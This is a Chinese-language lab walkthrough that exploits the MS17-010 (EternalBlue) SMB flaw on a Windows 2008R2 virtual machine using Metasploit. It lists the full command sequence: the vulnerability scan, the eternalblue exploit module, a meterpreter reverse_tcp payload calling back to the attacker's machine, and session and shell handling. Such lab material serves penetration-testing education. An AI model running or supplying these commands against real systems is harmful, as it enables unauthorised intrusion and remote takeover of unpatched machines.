一、环境配置
这里我们先打开两个虚拟机——kali(192.168.1.105)、windows 2008R2(192.168.1.114)(windows 7也行)
二 、实验过程
我们进入kali的控制台输入:msfconsole 进入metasploit框架。
寻找MS17_010漏洞: search ms17_010。
这里找到了两个模块,第一个辅助模块是探测主机是否存在MS17_010漏洞,第二个是漏洞利用模块,我们先探测哪些主机存在漏洞。
Auxiliary辅助探测模块:该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
输入命令:use auxiliary/scanner/smb/smb_ms17_010。然后使用命令show options,查看这个模块需要配置得信息
RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
输入:set RHOSTS 192.168.1.114
输入:exploit 攻击,这里有+号的就是可能存在漏洞的主机,这个主机存在漏洞
Exploit漏洞利用模块
然后我们就可以去利用漏洞攻击了,选择漏洞攻击模块:use exploit/windows/smb/ms17_010_eternalblue
查看这个漏洞的信息:info
查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统:show targets
这里只有一个,所以我们在这里就不用设置了。有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)
Payload攻击载荷模块
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
查看攻击载荷:show payloads——这是查看当前漏洞利用模块下可用的所有Payload
这里我们选择箭头标记这个。这是一个常用的反向连接的payload。
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
然后查看需要配置的参数:show options
设置RHOST,也就是要攻击主机的ip:set RHOST 192.168.1.114
设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell:set LHOST 192.168.1.105
如果我们这里不设置lport的话,默认是4444端口监听
因为我这个已经设置好了就不再演示了。
攻击:run/exploit
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
我们要想从 meterpreter 退出到MSF框架,输入:background
输入: sessions -l 查看我们获得的shell,前面有id
输入: sessions -i 1 即可切换到id为1的shell